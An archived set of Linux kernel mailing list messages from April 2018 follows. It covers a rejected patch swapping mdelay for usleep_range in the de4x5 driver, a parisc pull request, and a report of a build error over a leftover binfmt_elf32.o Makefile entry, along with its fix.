X-Google-Smtp-Source: AIpwx4+3NhOGXpaBR8jC+XG9hqoYAA1Taq6WTXS6DV909ywAI33XCthDWa++2w71cYtYLKlPOeppwA==
X-Received: by 2002:a17:902:9a0c:: with SMTP id v12-v6mr4747697plp.162.1523500028648;
        Wed, 11 Apr 2018 19:27:08 -0700 (PDT)
Original-Received: from ?IPv6:2402:f000:1:1501:200:5efe:166.111.70.53? ([2402:f000:1:1501:200:5efe:a66f:4635])
        by smtp.gmail.com with ESMTPSA id b4sm4651307pfa.64.2018.04.11.19.27.05
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 11 Apr 2018 19:27:08 -0700 (PDT)
In-Reply-To: <5ACEC2B6.9080904@gmail.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2739811 gmane.linux.network:526504 gmane.linux.ports.parisc:28483
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2739811>



On 2018/4/12 10:21, arvindY wrote:
>
>
> On Thursday 12 April 2018 07:00 AM, Jia-Ju Bai wrote:
>>
>>
>> On 2018/4/12 0:16, James Bottomley wrote:
>>> On Wed, 2018-04-11 at 23:39 +0800, Jia-Ju Bai wrote:
>>>> de4x5_hw_init() is never called in atomic context.
>>>>
>>>> de4x5_hw_init() is only called by de4x5_pci_probe(), which is only
>>>> set as ".probe" in struct pci_driver.
>>>>
>>>> Despite never getting called from atomic context, de4x5_hw_init()
>>>> calls mdelay() to busily wait. This is not necessary and can be
>>>> replaced with usleep_range() to  avoid busy waiting.
>>>>
>>>> This is found by a static analysis tool named DCNS written by myself.
>>>> And I also manually check it.
>>> Did you actually test this?  The usual reason for wanting m/udelay is
>>> that the timing must be exact.  The driver is filled with mdelay()s for
>>> this reason.  The one you've picked on is in the init path so it won't
>>> affect the runtime in any way.  I also don't think we have the hrtimer
>>> machinery for usleep_range() to work properly on parisc, so I don't
>>> think the replacement works.
>>>
>>> James
>>>
>>
>> Hello, James.
>> Thanks for your reply :)
>>
>> I agree that usleep_range() here will not much affect the real 
>> execution of this driver.
>>
>> But I think usleep_range() can more opportunity for other threads to 
>> use the CPU core to schedule during waiting.
>> That is why I detect mdelay() that can be replaced with msleep() or 
>> usleep_range().
>>
>
> James is right, You have added all usleep_range() during system 
> boot-up time.
> During boot-up system will run as single threaded. Where this change will
> not make much sense. System first priority is match the exact timing on
> each and every boot-up.
>

Hello, Arvind.
Thanks for your reply :)

I admit I am not familiar with this driver.
I did not know this driver is only loaded during system boot-up time,
I thought this driver can be loaded as a kernel module (like many 
drivers) after system booting.
After knowing this, I admit my patch is not proper, sorry...


Best wishes,
Jia-Ju Bai


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for 4.17-rc1
Date: Thu, 12 Apr 2018 20:41:01 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20180412184101.GA20775@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1523558350 10599 195.159.176.226 (12 Apr 2018 18:39:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Apr 2018 18:39:10 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 12 20:39:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f6h7g-0007V2-PY
	for glk-linux-kernel-4@m.gmane.org; Thu, 12 Apr 2018 20:39:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753042AbeDLSlO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 12 Apr 2018 14:41:14 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57459 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752896AbeDLSlN (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 12 Apr 2018 14:41:13 -0400
Original-Received: from ls3530.fritz.box ([89.244.178.144]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Lug8u-1eOaxd0Rxg-00zmvm; Thu, 12
 Apr 2018 20:41:05 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:zDPoHSFKcUq2LOoS9Dw63lMrmEhTKpERBgW6ziaYFZpnVNR2DEM
 gjiInIYuj3Rv3iOK3GMTq6TnYTytYulQiyp62eEpvDWNUxGj2+uSJZ5NQ0yiTG34eyda6/H
 zXXB9EOMD6ag3hLMcWaXxXotJpfrDVuwYWb4uWmk176mNo9YtyvRDRJmwlscmRXAdOF+kLL
 D3O1EvswUvMN04bm20hPA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:O97sO+Y8QsY=:WBGUnN1N9B/fZpVv1i9/1+
 okiQT7EyeDMFcnyLW9Q4oHQmHLJ5eXNbPFzaRRoKIpHiPrgWV7xqpS8w3VnXcOZU2FUjBxgIy
 mfVdqXqc++HFTM9XYsMQg6evN3hnekuVHCqRvoCR1+RXMabquqoti6Q7+w7+yPd/zTwpZdIau
 N2Lmwe87UGfuzEtSUsNyn6nxfJgLk3PMGZKlJ+HiDz8lWso6Pg06lNRY1AbctUHoCvr9HsYE4
 tSL45fW2g4P64cHZp1Bz8j7dAQt0kvlPVZUjiQ3xEfQSM+viMd4WC3aCga8XZAmuWp9Nca2JV
 bSnAI3J7yG+QI6zd+/bhRf9p1j/zvpDbTpe5Cj875tRv9gx7NbSzc95GLcyHloN0ARQY3Rh5y
 hX6iHw0ebd69AXUytthlJbbF0nQ4Viw8QUcKbTz/Lx6wTfBTIhwnXMgWyauoA0JeWGJKyC7nW
 8ZChXrAM1mjZAMVfJcLCKDkbjL8T4wRGh791bOzcB/ic92F+My6Xe4iUDgQJtBT2salHvMFqs
 t3Tp446mVjRekAUZrNsEcJR2olz4zxonBaGTEgraRq8B0BGZwcZ7RFLtdhrvb4YUzLUcsJDF6
 geYdwSbT7DTA32uLXWvL5bjegqcwMLjkr1fbTC14VFS2xmuGmvOT94u7/dZ9NlEDuCJMkcx/m
 wULYhXi1iGPKRnvtl5eRWrPYcWbV3HP3wHfMKKhixnVw6M5ygK3eLf4NHmfwubTBCE96fbSNv
 he7dAiRr8PfKO3ucU/EU1BFWnBfS2jxuhhQGBp7DEKHfZqKKON8ANUJ6QD6pn8LZsOQsuDSa 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2740395 gmane.linux.ports.parisc:28484
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2740395>

Hi Linus,

please pull a few last changes for this merge window for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.17-2

Changes:
- Fix panic when halting system via "shutdown -h now"
- Drop own coding in favour of generic CONFIG_COMPAT_BINFMT_ELF implementation
- Add FPE_CONDTRAP constant: last outstanding parisc-specific cleanup for Eric
  Biedermans siginfo patches
- move some functions to .init and some to .text.hot linker sections

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (4):
      parisc/signal: Add FPE_CONDTRAP for conditional trap handling
      parisc: Move cache flush functions into .text.hot section
      parisc: Switch to generic COMPAT_BINFMT_ELF
      parisc: Prevent panic at system halt

 arch/parisc/Kconfig                    |  1 +
 arch/parisc/include/asm/compat.h       |  6 +++
 arch/parisc/include/asm/elf.h          | 69 ++++++++++++------------
 arch/parisc/include/uapi/asm/siginfo.h |  7 ---
 arch/parisc/kernel/binfmt_elf32.c      | 98 ----------------------------------
 arch/parisc/kernel/cache.c             |  2 +-
 arch/parisc/kernel/pacache.S           |  9 ++--
 arch/parisc/kernel/process.c           | 13 ++---
 arch/parisc/kernel/traps.c             |  7 +--
 arch/x86/kernel/signal_compat.c        |  2 +-
 include/uapi/asm-generic/siginfo.h     |  3 +-
 11 files changed, 60 insertions(+), 157 deletions(-)
 delete mode 100644 arch/parisc/kernel/binfmt_elf32.c


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Switch to generic COMPAT_BINFMT_ELF
Date: Fri, 13 Apr 2018 11:29:04 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20180413182904.GA1722@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1523644024 32118 195.159.176.226 (13 Apr 2018 18:27:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Apr 2018 18:27:04 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 13 20:26:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f73PW-00046I-No
	for glk-linux-kernel-4@m.gmane.org; Fri, 13 Apr 2018 20:26:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751782AbeDMS3H (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 13 Apr 2018 14:29:07 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:47570 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750851AbeDMS3G (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 13 Apr 2018 14:29:06 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=roeck-us.net; s=default; h=Content-Type:MIME-Version:Message-ID:Subject:Cc:
        To:From:Date:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
        Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
        :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
        List-Subscribe:List-Post:List-Owner:List-Archive;
        bh=7eZPUZcQWAqTeFoTNmx4ay6q01wOvH0wcRyQu3TQ+fo=; b=M2droJ5aozvEKevoBDzqW5+sOT
        zaGZcAXywR+G1MdlsR1mZ0lebZqGYa1QNyn3U8vTalwnCcNU15WF4bY7gJe2KEXNWfg0RaK5iUvIX
        Zi9Vyam+/EErjtOF6OIr58m10QgWYMC09VOLsFQmimklwRwSql0RMSd4i5vXfwRyrAJna70c1LKB9
        wGaetborfsdYism0gdb++4zQM9yvGydR3bkOp6/TBxc2nTEmsew2oKZFGkdLN/h7p7Lsq+8l4bh5H
        GCu+z188Lk05Hb9fzO+QXQPMtUGGK8YaGBJLAWr57VCwJEbpj5fvdjz7WjOygjkpmKKqqpH4XZC+w
        Amlpn7 
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:57924 helo=localhost)
        by bh-25.webhostbox.net with esmtpa (Exim 4.89)
        (envelope-from <linux@roeck-us.net>)
        id 1f73RZ-003Ch1-8e; Fri, 13 Apr 2018 18:29:05 +0000
Content-Disposition: inline
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Authenticated-Sender: bh-25.webhostbox.net: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2741150 gmane.linux.ports.parisc:28485
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2741150>

On Wed, Apr 11, 2018 at 09:09:53AM +0200, Helge Deller wrote:
> Drop our own compat binfmt implementation in
> arch/parisc/kernel/binfmt_elf32.c in favour of the generic
> implementation with CONFIG_COMPAT_BINFMT_ELF.
> 
> While cleaning up the dependencies, I noticed that ELF_PLATFORM was strangely
> defined: On a 32-bit kernel, it was defined to "PARISC", while when running in
> compat mode on a 64-bit kernel it was defined to "PARISC32". Since it doesn't
> seem to be used in glibc yet, it's now defined in both cases to "PARISC". In
> any case, it can be distinguished because it's either a 32-bit or a 64-bit ELF
> file.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

This patch results in:

Building parisc:a500_defconfig ... failed
--------------
Error log:
make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
by 'arch/parisc/kernel/built-in.a'.  Stop.
make[2]: *** Waiting for unfinished jobs....
make[1]: *** [arch/parisc/kernel] Error 2
make[1]: *** Waiting for unfinished jobs....
make: *** [sub-make] Error 2
--------------
Building parisc:generic-64bit_defconfig ... failed
--------------
Error log:
make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
by 'arch/parisc/kernel/built-in.a'.  Stop.

Indeed, arch/parisc/kernel/binfmt_elf32.o is still listed in Makefile
for 64-bit builds.

$ git grep binfmt_elf32.o arch/parisc/
arch/parisc/kernel/Makefile:obj-$(CONFIG_64BIT) += binfmt_elf32.o sys_parisc32.o signal32.o

Guenter


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Switch to generic COMPAT_BINFMT_ELF
Date: Fri, 13 Apr 2018 21:54:37 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <20180413195437.GA13605@p100.box>
References: <20180413182904.GA1722@roeck-us.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1523649183 21825 195.159.176.226 (13 Apr 2018 19:53:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Apr 2018 19:53:03 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 13 21:52:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f74kk-0005aZ-CB
	for glk-linux-kernel-4@m.gmane.org; Fri, 13 Apr 2018 21:52:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751676AbeDMTzG (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 13 Apr 2018 15:55:06 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:33135 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750839AbeDMTzE (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 13 Apr 2018 15:55:04 -0400
Original-Received: from p100.box ([89.244.182.201]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LdYdG-1ehOkM2tSE-00imZ6; Fri, 13
 Apr 2018 21:54:40 +0200
Content-Disposition: inline
In-Reply-To: <20180413182904.GA1722@roeck-us.net>
X-Provags-ID: V03:K1:kGg6ffv4HEvBZvxQbGFfGIUUhKXLwPLUFpVWb7c8RKW84qdmLNw
 5aTffvWWKN9HDdauC5BG1kBkmxta+RWxZw/0zeriWmH9oZKARYZvmdmBKZVTOqSslfKUjBY
 xUQpYxW5Bgrex2pSJWMmf9mG/NCIDuc5rSpTMgWh70C2uw1qBHqlJJgy/2nzeK8hiH/584p
 VohmufgXiEFs/7xvcwnew==
X-UI-Out-Filterresults: notjunk:1;V01:K0:avENVuMin0s=:hgSf8XSYHTMH5mJKAn18SJ
 sXilkci2sbtohwQfdugpC0FQCCtLRZGRixUgVhWMFX8Comzna0g0Ly7Hk4afLERUADf6BVuvC
 3krBvlbcLPytACN5V40DV76Ex8WTdwfMgz9qMDvGCIrVQQAb+/RWrNsMWd0T0pqcWinoix/3f
 42fnj7HVGYhHJ7LWERc3KKv2UXI9WTJQFIV1YFV31ZrxLYSsNfvEao0HzJ7KtoYHeJyoZnmbx
 l32Tp95wPgU7RVfFYCwJiQOWWfwU+uFC4RWR0m+kzbMOY8KPOjvCzekuASLed8PvfpneKiIV4
 gTVIPfO1xjGuFU6x7DY98egxbc9C/RKkhJBLlw5X5bZvPC89qRFVPNOguw9Rwo7MzUppaK0F3
 18C/J4CqQY05DMR4H+P8cqkJc993eQharySgQRy0FQ3mWhEFF5OkYMXUhjtJvsw4jXZMSuysI
 2kKefYZIBz2OZpDxVi/NDDFILjW7vIIxeDfzqHuqsTaDjXAjYHQB9lW7yT7MqDwErxHE+Hy/C
 tLyWuxJWrOJw6WOpgIeWKtoYhFan0ZEImW4Q7UChVfy5fx/0fRycFjmfe7IpBwD2osbKOn/rw
 Tr8uDZgeOU5snO5fB9cEanSta6UjB5R+nn9NsMRS36lUHBqWAlxHf3vWSOYaXhAIEFvRl3+m5
 jScKh2aiJsz0kkKrbV3Ts7wa0kRhwTRq8Zv2sWyoQIcUh7P9nV8pB6+eFbqjEjVEVwgj+GSuP
 ranTDTMP4mtAzWNjBeeBjiQLC4NEQaA7GWRnKBDuZRAkF8MFEsfIZQ6CNG8gtUMB8k8BBGbC 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2741169 gmane.linux.ports.parisc:28486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2741169>

* Guenter Roeck <linux@roeck-us.net>:
> On Wed, Apr 11, 2018 at 09:09:53AM +0200, Helge Deller wrote:
> > Drop our own compat binfmt implementation in
> > arch/parisc/kernel/binfmt_elf32.c in favour of the generic
> > implementation with CONFIG_COMPAT_BINFMT_ELF.
> > 
> > While cleaning up the dependencies, I noticed that ELF_PLATFORM was strangely
> > defined: On a 32-bit kernel, it was defined to "PARISC", while when running in
> > compat mode on a 64-bit kernel it was defined to "PARISC32". Since it doesn't
> > seem to be used in glibc yet, it's now defined in both cases to "PARISC". In
> > any case, it can be distinguished because it's either a 32-bit or a 64-bit ELF
> > file.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> 
> This patch results in:
> 
> Building parisc:a500_defconfig ... failed
> --------------
> Error log:
> make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
> by 'arch/parisc/kernel/built-in.a'.  Stop.
> make[2]: *** Waiting for unfinished jobs....
> make[1]: *** [arch/parisc/kernel] Error 2
> make[1]: *** Waiting for unfinished jobs....
> make: *** [sub-make] Error 2
> --------------
> Building parisc:generic-64bit_defconfig ... failed
> --------------
> Error log:
> make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
> by 'arch/parisc/kernel/built-in.a'.  Stop.
> 
> Indeed, arch/parisc/kernel/binfmt_elf32.o is still listed in Makefile
> for 64-bit builds.
> 
> $ git grep binfmt_elf32.o arch/parisc/
> arch/parisc/kernel/Makefile:obj-$(CONFIG_64BIT) += binfmt_elf32.o sys_parisc32.o signal32.o

You are right.
I got fooled because I still had the binfmt_elf32.o object in my build
directory and so I didn't faced this build error. And even 0-day builds
didn't complained...  

Thanks for testing!

Patch below fixes it.

Helge
---

[PATCH] parisc: Fix missing binfmt_elf32.o build error

Commit 71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF")
removed the binfmt_elf32.c source file, but missed to drop the object
file from list of object files the Makefile too, which then results in a
build error.

Fixes: 71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF")
Reported-by: Guenter Roeck <linux@roeck-us.net>
Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index eafd06a..e5de34d 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -23,7 +23,7 @@ obj-$(CONFIG_SMP)	+= smp.o
 obj-$(CONFIG_PA11)	+= pci-dma.o
 obj-$(CONFIG_PCI)	+= pci.o
 obj-$(CONFIG_MODULES)	+= module.o
-obj-$(CONFIG_64BIT)	+= binfmt_elf32.o sys_parisc32.o signal32.o
+obj-$(CONFIG_64BIT)	+= sys_parisc32.o signal32.o
 obj-$(CONFIG_STACKTRACE)+= stacktrace.o
 obj-$(CONFIG_AUDIT)	+= audit.o
 obj64-$(CONFIG_AUDIT)	+= compat_audit.o


From - Thu Nov 08 21:41:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Switch to generic COMPAT_BINFMT_ELF
Date: Fri, 13 Apr 2018 13:12:15 -0700
Lines: 81
Approved: news@gmane.org
Message-ID: <20180413201215.GA16813@roeck-us.net>
References: <20180413182904.GA1722@roeck-us.net>
 <20180413195437.GA13605@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1523650226 6152 195.159.176.226 (13 Apr 2018 20:10:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Apr 2018 20:10:26 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 13 22:10:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f751Z-0001QS-7i
	for glk-linux-kernel-4@m.gmane.org; Fri, 13 Apr 2018 22:10:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751024AbeDMUMY (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 13 Apr 2018 16:12:24 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:33863 "EHLO
        bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750792AbeDMUMX (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 13 Apr 2018 16:12:23 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=roeck-us.net; s=default; h=In-Reply-To:Content-Type:MIME-Version:References
        :Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:Content-Transfer-Encoding
        :Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
        Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
        List-Subscribe:List-Post:List-Owner:List-Archive;
        bh=4PG0M5SePLwY3Rfu/sOWSrsNALzehKwcfXpBSPG+0BM=; b=Gc3MgfP/M6+qEXSz9JF5ra+Xe+
        Tyu1ZDfTe9dc2PeXWOOD+wIU4FubQHMq/6W21C38CRF9KG5BmCSF40jNKVNdjd8czIYcZN/JcrVty
        JyNYq1o8OE2QKD1jS0Ymqni404jltYajt46eypCP2p16YQLlKUoKoiHz2AYIkrc7e6yX21HA31c/X
        BjCSlt1qPCtAHuqWDpBcjYAVW3XsjJhokILR23K32lC0Mrub5ae44gQVKSEGsIfp77PhIxI/sKxFM
        wpcaVsGW9F+w/D8aSnO5oq0wsT2juCGBCRrTSZNkpYXlxu6TdeeYzRzO5uwCVjrj9sUL0pmVQaquK
        iyLyMB 
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:59216 helo=localhost)
        by bh-25.webhostbox.net with esmtpa (Exim 4.89)
        (envelope-from <linux@roeck-us.net>)
        id 1f753Q-000mQ1-D0; Fri, 13 Apr 2018 20:12:16 +0000
Content-Disposition: inline
In-Reply-To: <20180413195437.GA13605@p100.box>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Authenticated-Sender: bh-25.webhostbox.net: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2741171 gmane.linux.ports.parisc:28487
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2741171>

On Fri, Apr 13, 2018 at 09:54:37PM +0200, Helge Deller wrote:
> * Guenter Roeck <linux@roeck-us.net>:
> > On Wed, Apr 11, 2018 at 09:09:53AM +0200, Helge Deller wrote:
> > > Drop our own compat binfmt implementation in
> > > arch/parisc/kernel/binfmt_elf32.c in favour of the generic
> > > implementation with CONFIG_COMPAT_BINFMT_ELF.
> > > 
> > > While cleaning up the dependencies, I noticed that ELF_PLATFORM was strangely
> > > defined: On a 32-bit kernel, it was defined to "PARISC", while when running in
> > > compat mode on a 64-bit kernel it was defined to "PARISC32". Since it doesn't
> > > seem to be used in glibc yet, it's now defined in both cases to "PARISC". In
> > > any case, it can be distinguished because it's either a 32-bit or a 64-bit ELF
> > > file.
> > > 
> > > Signed-off-by: Helge Deller <deller@gmx.de>
> > 
> > This patch results in:
> > 
> > Building parisc:a500_defconfig ... failed
> > --------------
> > Error log:
> > make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
> > by 'arch/parisc/kernel/built-in.a'.  Stop.
> > make[2]: *** Waiting for unfinished jobs....
> > make[1]: *** [arch/parisc/kernel] Error 2
> > make[1]: *** Waiting for unfinished jobs....
> > make: *** [sub-make] Error 2
> > --------------
> > Building parisc:generic-64bit_defconfig ... failed
> > --------------
> > Error log:
> > make[2]: *** No rule to make target 'arch/parisc/kernel/binfmt_elf32.o', needed
> > by 'arch/parisc/kernel/built-in.a'.  Stop.
> > 
> > Indeed, arch/parisc/kernel/binfmt_elf32.o is still listed in Makefile
> > for 64-bit builds.
> > 
> > $ git grep binfmt_elf32.o arch/parisc/
> > arch/parisc/kernel/Makefile:obj-$(CONFIG_64BIT) += binfmt_elf32.o sys_parisc32.o signal32.o
> 
> You are right.
> I got fooled because I still had the binfmt_elf32.o object in my build
> directory and so I didn't faced this build error. And even 0-day builds
> didn't complained...  
> 
> Thanks for testing!
> 
> Patch below fixes it.
> 
> Helge
> ---
> 
> [PATCH] parisc: Fix missing binfmt_elf32.o build error
> 
> Commit 71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF")
> removed the binfmt_elf32.c source file, but missed to drop the object
> file from list of object files the Makefile too, which then results in a
> build error.
> 
> Fixes: 71d577db01a5 ("parisc: Switch to generic COMPAT_BINFMT_ELF")
> Reported-by: Guenter Roeck <linux@roeck-us.net>
> Signed-off-by: Helge Deller <deller@gmx.de>

